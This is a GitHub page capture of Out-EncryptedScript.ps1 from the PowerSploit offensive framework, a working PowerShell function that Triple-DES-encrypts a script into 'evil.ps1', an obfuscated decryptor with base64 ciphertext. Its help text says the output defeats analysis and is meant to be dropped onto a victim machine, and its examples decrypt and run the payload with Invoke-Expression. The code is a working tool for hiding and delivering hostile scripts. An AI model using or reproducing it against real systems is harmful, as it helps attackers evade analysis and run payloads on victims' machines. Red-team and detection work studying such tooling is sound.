PowerSploit/ScriptModification/Out-EncryptedScript.ps1 at master · devkw/PowerSploit · GitHub

History

144 lines (114 loc) · 5.04 KB

Raw

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

function Out-EncryptedScript

{

.SYNOPSIS

Encrypts text files/scripts.

PowerSploit Function: Out-EncryptedScript

Author: Matthew Graeber (@mattifestation)

License: BSD 3-Clause

Required Dependencies: None

Optional Dependencies: None

.DESCRIPTION

Out-EncryptedScript will encrypt a script (or any text file for that

matter) and output the results to a minimally obfuscated script -

evil.ps1 by default.

.PARAMETER ScriptPath

Path to this script

.PARAMETER Password

Password to encrypt/decrypt the script

.PARAMETER Salt

Salt value for encryption/decryption. This can be any string value.

.PARAMETER InitializationVector

Specifies a 16-character the initialization vector to be used. This

is randomly generated by default.

.EXAMPLE

$Password = ConvertTo-SecureString 'Password123!' -AsPlainText -Force

Out-EncryptedScript .\Naughty-Script.ps1 $Password salty

Description

-----------

Encrypt the contents of this file with a password and salt. This will

make analysis of the script impossible without the correct password

and salt combination. This command will generate evil.ps1 that can

dropped onto the victim machine. It only consists of a decryption

function 'de' and the base64-encoded ciphertext.

.EXAMPLE

[String] $cmd = Get-Content .\evil.ps1

Invoke-Expression $cmd

$decrypted = de password salt

Invoke-Expression $decrypted

Description

-----------

This series of instructions assumes you've already encrypted a script

and named it evil.ps1. The contents are then decrypted and the

unencrypted script is called via Invoke-Expression

.NOTES

This command can be used to encrypt any text-based file/script

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]

[CmdletBinding()]

Param (

[Parameter(Position = 0, Mandatory = $True)]

[String]

$ScriptPath,

[Parameter(Position = 1, Mandatory = $True)]

[Security.SecureString]

$Password,

[Parameter(Position = 2, Mandatory = $True)]

[String]

$Salt,

[Parameter(Position = 3)]

[ValidateLength(16, 16)]

[String]

$InitializationVector = ((1..16 | ForEach-Object {[Char](Get-Random -Min 0x41 -Max 0x5B)}) -join ''),

[Parameter(Position = 4)]

[String]

$FilePath = '.\evil.ps1'

)

$TempCred = New-Object System.Management.Automation.PSCredential('a', $Password)

$PlaintextPassword = $TempCred.GetNetworkCredential().Password

$AsciiEncoder = New-Object System.Text.ASCIIEncoding

$ivBytes = $AsciiEncoder.GetBytes($InitializationVector)

# While this can be used to encrypt any file, it's primarily designed to encrypt itself.

[Byte[]] $scriptBytes = Get-Content -Encoding Byte -ReadCount 0 -Path $ScriptPath

$DerivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes($PlaintextPassword, $AsciiEncoder.GetBytes($Salt), "SHA1", 2)

$Key = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider

$Key.Mode = [System.Security.Cryptography.CipherMode]::CBC

[Byte[]] $KeyBytes = $DerivedPass.GetBytes(16)

$Encryptor = $Key.CreateEncryptor($KeyBytes, $ivBytes)

$MemStream = New-Object System.IO.MemoryStream

$CryptoStream = New-Object System.Security.Cryptography.CryptoStream($MemStream, $Encryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)

$CryptoStream.Write($scriptBytes, 0, $scriptBytes.Length)

$CryptoStream.FlushFinalBlock()

$CipherTextBytes = $MemStream.ToArray()

$MemStream.Close()

$CryptoStream.Close()

$Key.Clear()

$Cipher = [Convert]::ToBase64String($CipherTextBytes)

# Generate encrypted PS1 file. All that will be included is the base64-encoded ciphertext and a slightly 'obfuscated' decrypt function

$Output = @"

function de([String] `$b, [String] `$c)

{

`$a = "$Cipher";

`$encoding = New-Object System.Text.ASCIIEncoding;

`$dd = `$encoding.GetBytes("$InitializationVector");

`$aa = [Convert]::FromBase64String(`$a);

`$derivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes(`$b, `$encoding.GetBytes(`$c), "SHA1", 2);

[Byte[]] `$e = `$derivedPass.GetBytes(16);

`$f = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider;

`$f.Mode = [System.Security.Cryptography.CipherMode]::CBC;

[Byte[]] `$h = New-Object Byte[](`$aa.Length);

`$g = `$f.CreateDecryptor(`$e, `$dd);

`$i = New-Object System.IO.MemoryStream(`$aa, `$True);

`$j = New-Object System.Security.Cryptography.CryptoStream(`$i, `$g, [System.Security.Cryptography.CryptoStreamMode]::Read);

`$r = `$j.Read(`$h, 0, `$h.Length);

`$i.Close();

`$j.Close();

`$f.Clear();

if ((`$h.Length -gt 3) -and (`$h[0] -eq 0xEF) -and (`$h[1] -eq 0xBB) -and (`$h[2] -eq 0xBF)) { `$h = `$h[3..(`$h.Length-1)]; }

return `$encoding.GetString(`$h).TrimEnd([Char] 0);

}

# Output decrypt function and ciphertext to evil.ps1

Out-File -InputObject $Output -Encoding ASCII $FilePath

Write-Verbose "Encrypted PS1 file saved to: $(Resolve-Path $FilePath)"

}

PowerSploit/ScriptModification/Out-EncryptedScript.ps1 at master · devkw/PowerSploit · GitHub

Expand file tree

Breadcrumbs

Out-EncryptedScript.ps1

Latest commit

History

Breadcrumbs

Out-EncryptedScript.ps1

File metadata and controls